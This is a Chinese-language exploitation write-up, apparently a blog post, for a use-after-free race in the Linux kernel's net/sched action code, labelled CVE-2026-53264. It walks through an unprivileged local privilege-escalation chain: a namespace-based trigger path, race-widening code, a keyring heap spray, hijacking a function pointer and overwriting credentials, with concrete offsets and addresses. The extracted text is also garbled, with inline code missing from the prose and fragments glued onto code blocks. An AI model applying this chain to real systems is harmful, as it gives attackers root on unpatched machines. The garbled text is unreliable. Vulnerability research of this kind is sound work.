Exploiting CVE-2026-53264 with One Function
Linux kernel net/sched: act_api UAF 漏洞利用。 Linux kernel net/sched: act_api 中存在一个 UAF 漏洞,action 释放路径违反了 RCU 的生命周期约定,直接调用 这会造成一个竞争窗口:CPU A 在 RCU 读侧临界区内获取 object A 的指针后,CPU B 在 CPU A 还没有退出临界区时,释放 object A。随后 CPU A 继续通过指针访问已经释放的 object A。 把发生 UAF 的对象称为 正常情况下, 要绕过这个检查,需要在检查前获得 竞争 sequence diagram: 用户空间通过 rtnetlink 配置 Qdisc,这需要 net namespace owner 拥有 普通用户可以创建一个 user namespace,在里面获得 通过 这是一个历史原因,开发 user namespace 时,Qdisc 的配置权限逐步开放给 user namespace,但是 action 配置接口被遗漏了。 可以使用 为了绕过 clsact Qdisc 的 这要求 Linux kernel 启用了 flower filter 设置了 这要求 Linux kernel 启用了 竞争窗口存在的时间非常短,很难命中,需要一些优化来增加命中率。 这是一种通用的竞争窗口时间扩展技术。 使用 timerfd 启动一个定时,定时到期时会在 CPU 上触发一个硬中断。把 timerfd 注册到大量 epoll fd,硬中断触发时需要通知全部 epoll fd。 这会显著增加硬中断花费的时间,同时 CPU 上的其他任务暂停,等待硬中断结束。 如果 timerfd 在竞争窗口内到期,硬中断进入,CPU 上的任务暂停,竞争窗口持续存在,直到硬中断结束, 此时的竞争 sequence diagram: 示例代码: 由于不能保证 timerfd 刚好在竞争窗口内到期,需要在打开竞争窗口前添加一些随机量。 这相当于字符串匹配: 字符串是 ABCDEFG。需要匹配 EFG。于是把 EFG 放到字符串最左边开始匹配,匹配到 ABC。向右移动一个单位,匹配到 BCD。最终对齐,匹配到 EFG。 字符串是固定的,相当于 timerfd 到期时间是固定的。EFG 向右移动一个单位相当于竞争窗口向右移动一个单位,只要 timerfd 到期时落在竞争窗口中,就可以扩大竞争窗口存在的时间。 可以使用空循环来实现最细颗粒度的 sleep。 这相当于每次移动 30 单位,移动范围 0-1999。 binder 发送一个 多个 action 循环创建,全部创建成功后一起提交。第一个 action 会创建成功,但是第二个 action 会创建失败。于是跳转错误路径 这样做的好处是既打开了竞争窗口,又不需要发送 filter chain 有一个 chain 内的全局锁 竞争速度非常快,竞争同一个 action 会造成大量过剩,成功率已经触达上限。把多个 action 作为竞争目标,增加竞争成功的机会。 L1D 是 per-CPU 的一级数据缓存,通过刷新这个缓存,可以增加 CPU 访问数据的延迟,增加竞争窗口存在的时间。 示例代码: 3 个 binder 线程在不同的 CPU,不同的 filter chain,同时竞争 10 个 action。 一个 creater 线程在另一个不同的 CPU,不同的 filter chain,通过 必须有一个线程正确创建 action,因为 binder 线程的创建最终会失败。 优化竞争后,可以稳定地触发 UAF,获得 使用 EntryBleed 来泄漏 KASLR。从 kasld 移植。 action 选择 gact,这是最常见的 action 类型,这要求 Linux kernel 启用了 创建 action 是创建对应 action 类型的 gact 的子类是 通过喷射 action 在引用为 0 时才真正释放,不一定在哪个 CPU。 所以需要在所有可能的 CPU 上分别创建一个喷射线程。 创建 更新 更新 key 时会先给 这会对漏洞利用造成干扰,因为 只要 获得 可以通过控制这个函数指针,控制 RIP。 更新 在喷射 这意味着大概率 这要求访问 虽然这个要求大概率满足,但还是会降低漏洞利用的稳定性。 控制了 RIP,接下来实现 LPE。Linux kernel 版本是 v7.1-rc5,这个版本上没有找到可用的 stack pivot gadget。 在 最开始把 RIP 劫持到 但是 最终选择把 RIP 劫持到 首先计算 所以 这要求 这会显著降低漏洞利用的稳定性。 kmalloc-256 slab block-beta: 求等式 使用 rizin 找到 这要求访问 这并没有大幅影响漏洞利用的稳定性,因为 action 释放路径没有调用 这要求 这是真正影响漏洞利用稳定性的地方,有两种情况。 action 的高频率分配和 这种情况下必须让 在喷射开始前调用 这种情况下必须提升 buddy allocator 空闲页分配为 kmalloc-256 slab 的频率,也就是让喷射更加频繁。 在空闲 CPU 上,全速喷射 经过优化,10 次连续运行,成功率约 80% - 90%,平均耗时在 3s 左右。 Lee, J. J. (2026). When AI Makes 0-Days Feel Like N-Days. STAR LABS SG PTE. LTD. https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/. Konovalov, A. (2024). SLUB Internals for Exploit Developers. xairy.io. https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf. Zeng, K. (2022). Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability. USENIX Security Symposium. https://www.usenix.org/conference/usenixsecurity22/presentation/zeng. bcoles. (2026). KASLD defeats Linux kernel KASLR from a local process — recovering the virtual and physical memory layout where a leak or side channel allows, and narrowing it to the smallest set of placements the evidence supports otherwise. github.com. https://github.com/bcoles/kasld.kfree() 释放对象。Victim Object,抢占 Victim Object 内存的对象称为 Reclaim Object。 根因
static void free_tcf(struct tc_action *p)
{
struct tcf_chain *chain = rcu_dereference_protected(p->goto_chain, 1);
free_percpu(p->cpu_bstats);
free_percpu(p->cpu_bstats_hw);
free_percpu(p->cpu_qstats);
tcf_set_action_cookie(&p->user_cookie, NULL);
if (chain)
tcf_chain_put_by_act(chain);
/* kfree immediately */
kfree(p);
}free_tcf() 直接调用 kfree(p);。int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
struct tc_action **a, int bind)
{
struct tcf_idrinfo *idrinfo = tn->idrinfo;
struct tc_action *p;
int ret;
u32 max;
if (*index) {
/* RCU period start */
rcu_read_lock();
p = idr_find(&idrinfo->action_idr, *index);
/* [1] race window start */
if (IS_ERR(p)) {
/* This means that another process allocated
* index but did not assign the pointer yet.
*/
rcu_read_unlock();
return -EAGAIN;
}
if (!p) {
/* Empty slot, try to allocate it */
max = *index;
rcu_read_unlock();
goto new;
}
/* [2] race window end */
if (!refcount_inc_not_zero(&p->tcfa_refcnt)) {
/* Action was deleted in parallel */
rcu_read_unlock();
return -EAGAIN;
}
if (bind)
atomic_inc(&p->tcfa_bindcnt);
*a = p;
/* RCU period end */
rcu_read_unlock();p = idr_find(&idrinfo->action_idr, *index); 查询 *index 获取 struct tc_action *p;。if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 检查 p->tcfa_refcnt 不等于 0,否则直接返回错误。p 释放后 p->tcfa_refcnt 一定等于 0。所以竞争窗口在 p = idr_find(&idrinfo->action_idr, *index); 后,if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 前。Reclaim Object,把 p->tcfa_refcnt 覆写为大于 0 的值。
sequenceDiagram
participant C0 as CPU 0: use
participant C1 as CPU 1: free
participant C2 as CPU 2: reclaim
Note over C0: p = idr_find(&idrinfo->action_idr, *index);
Note over C1: kfree(p);
Note over C2: reclaim and p->tcfa_refcnt > 0
Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))
利用条件
rtnetlink
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
/* ... */
if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
return -EPERM;
/* ... */
}CAP_NET_ADMIN 能力。CAP_NET_ADMIN 能力,然后再创建一个 net namespace,就可以配置 Qdisc。这要求 Linux kernel 启用了 CONFIG_USER_NS 和 CONFIG_NET_NS。 漏洞触发路径
static int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
if ((n->nlmsg_type != RTM_GETACTION) &&
!netlink_capable(skb, CAP_NET_ADMIN))
return -EPERM;
/* ... */
}bool netlink_capable(const struct sk_buff *skb, int cap)
{
return netlink_ns_capable(skb, &init_user_ns, cap);
}RTM_NEWACTION 和 RTM_DELACTION 配置 action 会检查用户在 init_user_ns 里是否拥有 CAP_NET_ADMIN 能力。RTM_NEWTFILTER 和 RTM_DELTFILTER 间接配置 action。 rtnl_lock()
rtnl_lock() 获取 rtnetlink 全局互斥锁,如果 RTM_NEWTFILTER 和 RTM_DELTFILTER 获取了这个锁,这两个操作将会被串行化,无法竞争。static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
bool rtnl_held = false;
/* ... */
/* Take rtnl mutex if rtnl_held was set to true on previous iteration,
* block is shared (no qdisc found), qdisc is not unlocked, classifier
* type is not specified, classifier is not unlocked.
*/
if (rtnl_held ||
(q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
!tcf_proto_is_unlocked(name)) {
rtnl_held = true;
rtnl_lock();
}
/* ... */
}static bool tcf_proto_is_unlocked(const char *kind)
{
const struct tcf_proto_ops *ops;
bool ret;
if (strlen(kind) == 0)
return false;
ops = tcf_proto_lookup_ops(kind, false, NULL);
/* On error return false to take rtnl lock. Proto lookup/create
* functions will perform lookup again and properly handle errors.
*/
if (IS_ERR(ops))
return false;
ret = !!(ops->flags & TCF_PROTO_OPS_DOIT_UNLOCKED);
module_put(ops->owner);
return ret;
}RTM_NEWTFILTER 操作绕过 rtnl_lock() 需要满足下面的条件:rtnl_held == false。struct Qdisc *q != NULL 并且 q->ops->cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED,或者 struct Qdisc *q == NULL。TCF_PROTO_OPS_DOIT_UNLOCKED。static int tc_del_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
/* Take rtnl mutex if flushing whole chain, block is shared (no qdisc
* found), qdisc is not unlocked, classifier type is not specified,
* classifier is not unlocked.
*/
if (!prio ||
(q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
!tcf_proto_is_unlocked(name)) {
rtnl_held = true;
rtnl_lock();
}
/* ... */
}RTM_DELTFILTER 操作绕过 rtnl_lock() 需要满足下面的条件:prio != 0。struct Qdisc *q != NULL 并且 q->ops->cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED,或者 struct Qdisc *q == NULL。TCF_PROTO_OPS_DOIT_UNLOCKED。rtnl_lock(),需要选择 cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED 的 Qdisc 类型和设置了 TCF_PROTO_OPS_DOIT_UNLOCKED 的 filter 类型。static const struct Qdisc_class_ops clsact_class_ops = {
.flags = QDISC_CLASS_OPS_DOIT_UNLOCKED,
.leaf = ingress_leaf,
.find = clsact_find,
.walk = ingress_walk,
.tcf_block = clsact_tcf_block,
.bind_tcf = clsact_bind_filter,
.unbind_tcf = ingress_unbind_filter,
};cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED。CONFIG_NET_SCH_INGRESS。static struct tcf_proto_ops cls_fl_ops __read_mostly = {
.kind = "flower",
.classify = fl_classify,
.init = fl_init,
.destroy = fl_destroy,
.get = fl_get,
.put = fl_put,
.change = fl_change,
.delete = fl_delete,
.delete_empty = fl_delete_empty,
.walk = fl_walk,
.reoffload = fl_reoffload,
.hw_add = fl_hw_add,
.hw_del = fl_hw_del,
.dump = fl_dump,
.terse_dump = fl_terse_dump,
.bind_class = fl_bind_class,
.tmplt_create = fl_tmplt_create,
.tmplt_destroy = fl_tmplt_destroy,
.tmplt_reoffload = fl_tmplt_reoffload,
.tmplt_dump = fl_tmplt_dump,
.get_exts = fl_get_exts,
.owner = THIS_MODULE,
.flags = TCF_PROTO_OPS_DOIT_UNLOCKED,
};
MODULE_ALIAS_NET_CLS("flower");TCF_PROTO_OPS_DOIT_UNLOCKED。CONFIG_NET_CLS_FLOWER。 竞争优化
timerfd + epoll
refcount_inc_not_zero() 检查结束。此时硬中断的时间窗口也是竞争的时间窗口。
sequenceDiagram
participant C0 as CPU 0: use
participant C1 as CPU 1: free
participant C2 as CPU 2: reclaim
Note over C0: p = idr_find(&idrinfo->action_idr, *index);
Note over C0: hard irq
Note over C0: hard irq time window
Note over C1: kfree(p);
Note over C2: reclaim and p->tcfa_refcnt > 0
Note over C0: hard irq time window
Note over C0: hard irq finish
Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))
int timerfd_epoll(void)
{
struct itimerspec its = { .it_value = { .tv_nsec = 10000 } };
struct epoll_event ev = { .events = EPOLLIN };
int dup_tfds[100] = { 0 };
int epfds[500] = { 0 };
int tfd;
tfd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK);
for (int i = 0; i < 100; i++)
dup_tfds[i] = dup(tfd);
for (int i = 0; i < 500; i++) {
epfds[i] = epoll_create1(0);
/*
* all timerfd are registered to epoll fd
* 100 timerfd will expire at same time, wakeup epoll fd 100 times
* 100 timerfd with 500 epoll fd will wakeup epoll fd 100 * 500 times
*/
for (int n = 0; n < 100; n++)
epoll_ctl(epfds[i], EPOLL_CTL_ADD, dup_tfds[n], &ev);
}
/* start timerfd alarm */
timerfd_settime(tfd, 0, &its, NULL);
return EXIT_SUCCESS;
}int spin = (i * 30) % 2000;
for (volatile int n = 0; n < spin; n++)
; binder thread
RTM_NEWTFILTER rtnetlink 数据包,创建一个 filter 和两个 action。但是故意把第二个 action 构建成不完整的。int tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,
struct nlattr *est, struct tc_action *actions[],
int init_res[], size_t *attr_size,
u32 flags, u32 fl_flags,
struct netlink_ext_ack *extack)
{
/* ... */
for (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {
act = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],
&init_res[i - 1], flags, extack);
if (IS_ERR(act)) {
err = PTR_ERR(act);
goto err;
}
sz += tcf_action_fill_size(act);
/* Start from index 0 */
actions[i - 1] = act;
/* ... */
/* We have to commit them all together, because if any error happened in
* between, we could not handle the failure gracefully.
*/
tcf_idr_insert_many(actions, init_res);
/* ... */
err:
tcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);
/* ... */
}err,释放所有已经成功创建的 action,整个 RTM_NEWTFILTER 操作失败。RTM_DELTFILTER 数据包做清理,节省时间,减少干扰。可以让竞争窗口出现得更频繁,增加命中率。 filter chain
static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
mutex_unlock(&chain->filter_chain_lock);
tp_new = tcf_proto_create(name, protocol, prio, chain,
rtnl_held, extack);
if (IS_ERR(tp_new)) {
err = PTR_ERR(tp_new);
goto errout_tp;
}
/* ... */
}chain->filter_chain_lock,使用多个 chain,可以避免操作被串行化,大幅提升竞争效率。 竞争多个 action
刷新 L1D 缓存
/* greater than L1D size */
#define L1D_FLUSH_SIZE (64 * 1024)
static char buf[L1D_FLUSH_SIZE] __attribute__((aligned(64)));
volatile char a;
for (int i = 0; i < L1D_FLUSH_SIZE; i += 64)
a = buf[i]; 最终竞争方案
RTM_NEWTFILTER 和 RTM_DELTFILTER 循环创建和删除用于竞争的 10 个 action。 Exploit
Victim Object。 KASLR
RIP
CONFIG_NET_ACT_GACT。int tcf_idr_create(struct tc_action_net *tn, u32 index, struct nlattr *est,
struct tc_action **a, const struct tc_action_ops *ops,
int bind, bool cpustats, u32 flags)
{
struct tc_action *p = kzalloc(ops->size, GFP_KERNEL);
...
}
EXPORT_SYMBOL(tcf_idr_create);struct tc_action 子类。static struct tc_action_ops act_gact_ops = {
.kind = "gact",
.id = TCA_ID_GACT,
.owner = THIS_MODULE,
.act = tcf_gact_act,
.stats_update = tcf_gact_stats_update,
.dump = tcf_gact_dump,
.init = tcf_gact_init,
.get_fill_size = tcf_gact_get_fill_size,
.offload_act_setup = tcf_gact_offload_act_setup,
.size = sizeof(struct tcf_gact),
};
MODULE_ALIAS_NET_ACT("gact");struct tcf_gact。# pahole -C tcf_gact vmlinux
struct tcf_gact {
struct tc_action common __attribute__((__aligned__(16))); /* 0 192 */
/* XXX last struct has 4 bytes of padding, 4 holes */
/* --- cacheline 3 boundary (192 bytes) --- */
u16 tcfg_ptype; /* 192 2 */
u16 tcfg_pval; /* 194 2 */
int tcfg_paction; /* 196 4 */
atomic_t packets __attribute__((__aligned__(4))); /* 200 4 */
/* size: 208, cachelines: 4, members: 5 */
/* padding: 4 */
/* member types with holes: 1, total: 4 */
/* paddings: 1, sum paddings: 4 */
/* forced alignments: 2 */
/* last cacheline: 16 bytes */
} __attribute__((__aligned__(16)));struct tcf_gact 的大小是 208 字节,落在 kmalloc-256 slab cache。struct user_key_payload,抢占 Victim Object 的 slab slot,获得 Reclaim Object。struct user_key_payload:key = syscall(SYS_add_key, "user", "x", payload, sizeof(payload), KEY_SPEC_PROCESS_KEYRING);struct user_key_payload,用于喷射:syscall(SYS_keyctl, KEYCTL_UPDATE, key, payload, sizeof(payload));# pahole -C user_key_payload vmlinux
struct user_key_payload {
struct callback_head rcu __attribute__((__aligned__(8))); /* 0 16 */
short unsigned int datalen; /* 16 2 */
/* XXX 6 bytes hole, try to pack */
char data[] __attribute__((__aligned__(8))); /* 24 0 */
/* size: 24, cachelines: 1, members: 3 */
/* sum members: 18, holes: 1, sum holes: 6 */
/* forced alignments: 2, forced holes: 1, sum forced holes: 6 */
/* last cacheline: 24 bytes */
} __attribute__((__aligned__(8)));struct user_key_payload header 是 24 字节,data 是柔性数组,在创建时确定大小。int user_preparse(struct key_preparsed_payload *prep)
{
...
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
...
}
EXPORT_SYMBOL_GPL(user_preparse);struct user_key_payload 的大小是 header 的大小 + data 的大小。要想让 struct user_key_payload 也落到 kmalloc-256 slab cache,data 的大小 + 24 需要大于 192,小于等于 256。long keyctl_update_key(key_serial_t id,
const void __user *_payload,
size_t plen)
{
...
/* pull the payload in if one was supplied */
payload = NULL;
if (plen) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL);
if (!payload)
goto error;
ret = -EFAULT;
if (copy_from_user(payload, _payload, plen) != 0)
goto error2;
}
...
}payload 分配内存,也就是 data。如果 data 的大小大于 192,则也会进入 kmalloc-256 slab cache。data 也可能会抢占 Victim Object 的 slab slot。data 的大小大于 168,小于等于 192,data 就会落到 kmalloc-192 slab cache,168 + 24 + 1 = 192 + 1,struct user_key_payload 依然落到 kmalloc-256 slab cache。Reclaim Object 后,if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 会检查 p->tcfa_refcnt 是否为 0,需要绕过这个检查。# pahole -C tc_action vmlinux
struct tc_action {
...
refcount_t tcfa_refcnt __attribute__((__aligned__(4))); /* 28 4 */
...
} __attribute__((__aligned__(16)));tcfa_refcnt 的偏移是 28,与 Reclaim Object 的 data[4] 重叠,占 4 个字节,所以应该设置 *(uint32_t *)(data + 4) 为大于 0 的值。static size_t tcf_action_fill_size(const struct tc_action *act)
{
size_t sz = tcf_action_shared_attrs_size(act);
if (act->ops->get_fill_size)
return act->ops->get_fill_size(act) + sz;
return sz;
}tcf_action_init() 循环创建 action 时,会对每个成功创建的 action 调用 tcf_action_fill_size(),最终会调用 act->ops->get_fill_size()。# pahole -C tc_action vmlinux
struct tc_action {
const struct tc_action_ops * ops; /* 0 8 */
...
} __attribute__((__aligned__(16)));ops 指针,偏移 0。# pahole -C user_key_payload vmlinux
struct user_key_payload {
struct callback_head rcu __attribute__((__aligned__(8))); /* 0 16 */
...
} __attribute__((__aligned__(8)));struct user_key_payload 偏移 0 是 struct callback_head rcu。# pahole -C callback_head vmlinux
struct callback_head {
struct callback_head * next; /* 0 8 */
void (*func)(struct callback_head *); /* 8 8 */
/* size: 16, cachelines: 1, members: 2 */
/* last cacheline: 16 bytes */
} __attribute__((__aligned__(8)));struct callback_head 前 8 字节是 struct callback_head *next,ops 指针和 struct callback_head *next 重叠,所以 struct callback_head *next 是否指向可控内存是漏洞利用的关键。int user_update(struct key *key, struct key_preparsed_payload *prep)
{
struct user_key_payload *zap = NULL;
...
zap = dereference_key_locked(key);
if (zap)
call_rcu(&zap->rcu, user_free_payload_rcu);
...
}
EXPORT_SYMBOL_GPL(user_update);struct user_key_payload 时会调用 call_rcu() 延迟释放过时的 struct user_key_payload。void rcu_segcblist_enqueue(struct rcu_segcblist *rsclp,
struct rcu_head *rhp)
{
...
WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);
WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);
...
}call_rcu() 最终会调用 rcu_segcblist_enqueue(),rhp 是 call_rcu() 传入的 &zap->rcu。#define rcu_head callback_headstruct rcu_head 就是 struct callback_head。struct rcu_head **tails[RCU_CBLIST_NSEGS] 是一个三级指针。rsclp->tails[RCU_NEXT_TAIL] 类型是 struct rcu_head **,*rsclp->tails[RCU_NEXT_TAIL] 是 struct rcu_head *。WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);*rsclp->tails[RCU_NEXT_TAIL] = rhpWRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);rsclp->tails[RCU_NEXT_TAIL] = &rhp->nextrsclp->tails[RCU_NEXT_TAIL] 是链表中最后一个元素 next 指针的指针。*rsclp->tails[RCU_NEXT_TAIL] 是链表中最后一个元素的 next 指针。struct user_key_payload 时,大量 struct user_key_payload 被添加到链表中,并且大概率是连续相邻的。struct callback_head *next 指向另一个喷射的 struct user_key_payload,也就是 ops 指向可控的内存。
flowchart LR
subgraph A["struct tc_action"]
direction TB
A1@{ shape: text, label: "+0x00 ops" }
end
subgraph B["struct user_key_payload"]
direction TB
subgraph B1["struct callback_head"]
direction TB
B2@{ shape: text, label: "+0x00 next" }
end
end
subgraph C["struct user_key_payload"]
direction TB
subgraph C1["struct callback_head"]
direction TB
C2@{ shape: text, label: "+0x00 next" }
end
end
A1 -->|same slab slot| B2
B2 -->|another slab slot| C2
style A1 fill:#00b86e
style B2 fill:#00b86e
act->ops 前,Reclaim Object 和另一个喷射的 struct user_key_payload 已经先后添加到链表。# pahole -C tc_action_ops vmlinux
struct tc_action_ops {
...
size_t (*get_fill_size)(const struct tc_action *); /* 112 8 */
...
};*get_fill_size() 偏移 112,112 - 24 = 88。与 Reclaim Object 的 data[88] 重叠。 root
[0xffffffff818c8250]> pD 94 @ sym.tcf_action_fill_size
╭ size_t sym.tcf_action_fill_size(const struct tc_action *act);
│ ╭─< 0xffffffff821085e5 je 0xffffffff821085f2
│ │ 0xffffffff821085e7 movq %r12, %rdi ; act_api.c:473 return act->ops->get_fill_size(act) + sz;
│ │ 0xffffffff821085ea callq loc.__pi___x86_indirect_thunk_rax
│ 0xffffffff821085ef addq %rax, %rbx
│ ╰─> 0xffffffff821085f2 movq %rbx, %rax ; act_api.c:475 }0xffffffff821085ea 调用 act->ops->get_fill_size()。0xffffffff821085ea 下断点,观察此时的寄存器。────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────
RDI 0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...
R12 0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...
R15 0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...%rdi、%r12、%r15 都是 Reclaim Object。commit_creds(),Reclaim Object 作为参数 struct cred *new。# pahole -C cred vmlinux
struct cred {
atomic_long_t usage; /* 0 8 */
...
} __attribute__((__aligned__(8)));usage 与 struct callback_head *next; 重叠,是 ops 指针,指向一个堆地址,而堆地址总是以 0xffff 开头。typedef struct {
long counter;
} atomic_long_t;int commit_creds(struct cred *new)
{
...
BUG_ON(atomic_long_read(&new->usage) < 1);
...
}usage 是一个有符号类型,0xffff 开头的值会被解释为负数,所以 commit_creds() 里的运行时断言会失败,直接 panic。const struct cred *ovl_override_creds(struct super_block *sb)
{
struct ovl_fs *ofs = OVL_FS(sb);
return override_creds(ofs->creator_cred);
}struct task_struct init_task __aligned(L1_CACHE_BYTES) = {
...
RCU_POINTER_INITIALIZER(cred, &init_cred),
...
};
EXPORT_SYMBOL(init_task);ovl_override_creds() 配合 init_task.cred 来完成权限提升。这个函数调用 override_creds() 替换当前 CPU task 的 cred 为 ofs->creator_cred。static inline struct ovl_fs *OVL_FS(struct super_block *sb)
{
if (IS_ENABLED(CONFIG_OVERLAY_FS_DEBUG))
WARN_ON_ONCE(sb->s_type != &ovl_fs_type);
return (struct ovl_fs *)sb->s_fs_info;
}ofs 是 sb->s_fs_info。# pahole -C super_block vmlinux
struct super_block {
...
void * s_fs_info; /* 848 8 */
...
} __attribute__((__aligned__(64)));s_fs_info 偏移 848 == 0x350。[0xffffffff818c8250]> pD 56
╭ const struct cred *sym.ovl_override_creds(struct super_block *sb);
│ 0xffffffff818c8250 endbr64 ; util.c:66 {
│ 0xffffffff818c8254 callq sym.__fentry
│ 0xffffffff818c8259 movq 0x350(%rdi), %rax ; util.c:67 struct ovl_fs *ofs = OVL_FS(sb);
│ 0xffffffff818c8260 pushq %rbp ; util.c:66 {
│ 0xffffffff818c8261 movq 0x78(%rax), %rcx ; util.c:69 return override_creds(ofs->creator_cred);
│ 0xffffffff818c8265 movq obj.current_task, %rax ; current.h:20 static __always_inline struct task_struct *get_current(void)
│ 0xffffffff818c826d movq %rsp, %rbp ; util.c:66 {
│ 0xffffffff818c8270 movq 0x7c8(%rax), %rdx ; cred.h:183 return rcu_replace_pointer(current->cred, override_cred, 1);
│ 0xffffffff818c8277 movq %rcx, 0x7c8(%rax) ; current.h:20 static __always_inline struct task_struct *get_current(void)
│ 0xffffffff818c827e movq %rdx, %rax ; util.c:70 }
│ 0xffffffff818c8281 popq %rbp
╰ ╭─< 0xffffffff818c8282 jmp loc.__pi___x86_return_thunk ; loc.__pi___x86_return_thunk
│ 0xffffffff818c8287 invalidmovq 0x350(%rdi), %rax:%rax = *(uintptr_t *)(%rdi + 0x350) == ofs# pahole -C ovl_fs vmlinux
struct ovl_fs {
const struct cred *creator_cred; /* 120 8 */
} __attribute__((__aligned__(8)));movq 0x78(%rax), %rcx:%rcx = *(uintptr_t *)(%rax + 0x78) == ofs->creator_credmovq obj.current_task, %rax:把当前 CPU 的 struct task_struct * 赋值给 %rax。# pahole -C task_struct vmlinux
struct task_struct {
const struct cred *cred; /* 1992 8 */
} __attribute__((__aligned__(64)));cred 偏移 1992 == 0x7c8。movq %rcx, 0x7c8(%rax):*(uintptr_t *)(%rax + 0x7c8) == task_struct->cred = %rcx == ofs->creator_cred%rdi 是 Reclaim Object,目标是让 *(*(%rdi + 0x350) + 0x78) = init_task.cred。*(%rdi + 0x350) 对应 data 的偏移。0x350 % 256 = 8080 - 24 = 56*(%rdi + 0x350) 与 data[56] 重叠,但不是 Reclaim Object 的。0x350 / 256 = 3,*(%rdi + 0x350) 落在 Reclaim Object + 3 * 256 开始的内存,这不一定是 kmalloc-256 slab slot,也可能是 buddy allocator 空闲页或其他。Reclaim Object + 3 * 256 也是喷射的 struct user_key_payload。
block-beta
columns 5
space UAF["UAF"] space:3
space P0["sprayed user_key_payload"] space:2 P3["sprayed user_key_payload"]
slab["kmalloc-256 slab"] p0["[0]"] p1["[1]"] p2["[2]"] p3["[3]"]
*(data[56] + 0x78) = init_task.cred 中 data[56] 的值。*(data[56] + 0x78) = init_task.cred = data[56] + 0x78 = &init_task.creddata[56] + 0x78 = &init_task.cred = data[56] = &init_task.cred - 0x78data[56] = &init_task.cred - 0x78 = data[56] = &init_task + 1992 - 0x78[0xffffffff818c8250]> is~init_task
160018 0x01e0aa00 0xffffffff82c0aa00 GLOBAL OBJ 3264 init_taskinit_task 的地址。data[56] = 0xffffffff82c0aa00 + 1992 - 0x78 稳定性提升
act->ops 前,Reclaim Object 和另一个喷射的 struct user_key_payload 已经先后添加到链表。call_rcu(),只剩下喷射 struct user_key_payload 时高频率调用 call_rcu(),这几乎完全盖过系统中的噪音。Reclaim Object + 3 * 256 也是喷射的 struct user_key_payload。Reclaim Object + 3 * 256 是 kmalloc-256 slab slot。struct user_key_payload 的高频率分配在同一个 slab cache 中竞争。struct user_key_payload 的分配频率高于 action 的分配频率,并且每次最好连续分配多个。sched_yield(),让出 CPU,喷射时是一个完整的时间片,连续喷射多个 struct user_key_payload。Reclaim Object + 3 * 256 是 buddy allocator 的空闲页。struct user_key_payload,循环中尽量只有喷射代码。================================================
Summary
================================================
Total runs: 10
Successes: 9
Failures: 1
Avg time: 2358.819 ms
Min time: 68.026 ms
Max time: 6880.593 ms
Success rate: 90.00%
================================================ References